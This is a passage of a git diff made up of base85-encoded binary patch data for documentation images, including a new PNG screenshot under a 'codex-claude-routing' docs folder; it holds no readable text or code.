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 literal 0 HcmV?d00001 diff --git a/docs/images/codex-claude-routing/04-local-route-codex-takeover.png b/docs/images/codex-claude-routing/04-local-route-codex-takeover.png new file mode 100644 index 0000000000000000000000000000000000000000..f041c7256f08658fe2254f5ec37011140548410f GIT binary patch literal 282056 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 